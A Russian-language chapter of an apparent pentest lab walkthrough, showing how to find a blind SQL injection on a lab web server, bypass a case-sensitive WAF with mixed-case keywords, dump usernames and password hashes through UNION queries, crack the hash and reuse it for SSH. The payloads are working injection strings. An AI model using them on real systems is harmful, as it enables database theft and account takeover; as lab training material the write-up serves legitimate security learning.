Глава 2
Предыдущая глава
Следующая глава
Оглавление
И так привет колеги. Сегодня погрузимся дальше в роль хакера пентестера и возьмем свой второй токен. Попадем на машину ssh(
172.16.0.8).
Вспоминаем что мы взяли в прошлый раз логин и пароль о почты. Пробуем этот логин и пароль везде где только можно,так использование одинаковых паролей - это одна из самых частых ошибок,которую допускает человек. Но увы этот пароль и логин от почты никуда не подошел,ни к админке к сайту,ни к ssh.Так что давайте ковыряться дальше.
И будем мы сегодня изучать атаку на веб приложение,а если чуть подробнее то поговорим о таком векторе как
SQL Injection и обход простенького
WAF-а (
WAF - Web Application FIrewall).
Прежде чем начать,хотелось бы сказать на что стоит обращать внимания и чем пользоваться при пентесте веб приложения.Исходя из собственного опыта могу смело сказать ,что поиск уязвимостей веб приложения
построен на обнаружении аномального поведения веб контента в результате реакции на передаваемые данные в сторону сервера(пользовательский ввод "GET|POST запросы" ,куки,служебные заголовки и т.д) И как вы уже догадались все сканеры уязвимостей построены по этой логики.Но бывают ситуации когда сканеры уязвимости не правильно понимают логику веб приложения и как результат дает не верные отчеты о найденных уязвимостей. К тому же, такие известные утилиты как
SQLmap,Acunetix и много им подобные использую в качестве UserAgent-а свое имя,и добавив запрет на такие UserAgent-а можно уже защитится от атак школьниками.А если говорить о каких нибудь более серьезных средствах защитах и различных WAF-ах - то это очень сильно запутает логику работы сканера уязвимостей и как вывод из всего выше сказанного -
ручной фаззинг и поиск уязвимостей в разы продуктивней чем работа сканеров.
Именно по этому мы сегодня с вами встретимся один на один с простенькой SQL инъекцией
и простеньким WAF-ом
Обычно я использую инструмент BurpSuite для ручного фаззинга,при работе с веб приложениями,но тут все гораздо проще.К тому же по этому инструменту нужно делать отдельный цикл статей)
Ну что же ,давайте посмотрим на наш сайт
http://192.168.101.9:443/ еще разочек под другим ракурсом)
Первым делом проверим наличие админки на сайте:
Дальше потыкаем по постам на главной странице:
У нас есть один передаваемый параметр в GET запросе который отвечает за порядковый номер поста на сайте. Давайте с ним поиграем) По старой доброй привычке ткнем туда кавычку:
Хмм.. Странно но нас редиректнуло на главную страницу... Привычную ошибку синтаксиса не то что бы не видать,а как по первому взгляду - инъекцией и не пахнет скажете вы.Но эпоха админов которые включают вывод ошибок в PHP все потихоньку уходит в прошлое) И по этому весьма логично предположить что в случаи какой то ошибки ,или неправильного ввода пользователем весьма очевидно такое поведения.Все таки предположим что тут есть инъекция и нужно просто попробовать сбалансировать запрос:
Первой стадией при работе с
SQL инъекцией является
балансировка запроса:
Это нечто иное как найти правильные закрывающие символы в запросе и отрезка не нужной части комментарием,например если выборка с базы данных идет по запросу
PHP:
Код:
$result
=
mysql_query
(
"SELECT * WHERE id = ('1')"
)
;
то балансировка этого запроса представляет собой в GET запросе передаваемым на сервер:
some_url/index.php?id=1') -- -
И правильными закрывающими символами тут будут ')
И как результат вывод должен быть таким же как и при some_url/index.php?id=1.Если запрос не сбалансирован то поведения контента будет разным
Ну что ж давайте играться с параметром
id на нашем сайте:
Немножко поигрались - мы уже смогли найти
Boolian Blind SQL Injection)
А теперь давайте разберем что мы сделали:
1)
Сбалансировали запрос,после добавление правильных символов нас не бросало на главную,а выводился контент страницы которая имеет id=1
2)
Попробовали добавить в запрос истинное выражение (and true -- -) и видим что нас перебросило на главную страницу...Хм..Так не должно быть.. Сразу же на ум приходит что тут стоит фильтр на пользовательский ввод.
3)
Немного поигравшись с регистром - мы достигаем цели:
1') AnD TruE -- - нас не перебрасывает на главную) Вероятнее всего что фильтр работает только по словам в нижнем или верхнем регистре.
4)
1') AnD FalSe -- -Для закрепление вектора,это означает что если в запросе будет не истинное значение(ложь) или ошибка то нас будет бросать на главную.
Уже можно крутить как слепую
булеан блайнд) Но нам еще нужно проверить на
Union Based вектор инъекции.
Давайте найдем к-тво столбцов:
Как видем у нас два столбца в запросе,пробуем сделать вывод.Но что бы вывести наш юнион запрос нужно добавить ложь в основной запрос.
id=1') And FalSe UnIoN SeLeCt 11111,2222 -- -
Как видите,есть вывод) Как говорится инжектабельно))))
Давайте крутить дальше)
id=1') And FalSe UnIoN SeLeCt coNcaT(TaBLe_NamE),2222 fRoM InForMaTioN_SchEma.TabLeS WheRe TabLe_SchEma=database() limit 1,1-- -
id=1') And FalSe UnIoN SeLeCt coNcaT(ColuMn_NamE),2222 fRoM InForMaTioN_SchEma.coLuMnS WheRe TabLe_NaMe='users' limit 1,1-- -
id=1') And FalSe UnIoN SeLeCt coNcaT(ColuMn_NamE),2222 fRoM InForMaTioN_SchEma.coLuMnS WheRe TabLe_NaMe='users' limit 2,1-- -
id=1') And FalSe UnIoN SeLeCt coNcaT(username),2222 fRoM users-- -
id=1') And FalSe UnIoN SeLeCt coNcaT(password),2222 fRoM users-- -
на password как видим также WAF,ничего,обойдем:
id=1') And FalSe UnIoN SeLeCt coNcaT(paSSwOrD),2222 fRoM users-- -
И финальный ввывод)
Получаем имя и хеш)
Дальше что бы мне нагло не сливать вам токен ,
вам придется побрутить хеш)
Брутим хеш,(
он пару секунд брутится)
Идем в админку,берем токен. И под этим же логином и паролем попадаем на ssh машину(ssh
e.lindsey@192.168.101.9)
пароль из хеша
Дальше будем брать токен на SSH и учится пробрасывать порты.
Всем спасибо
Предыдущая глава
Следующая глава
Оглавление
Линейный вид
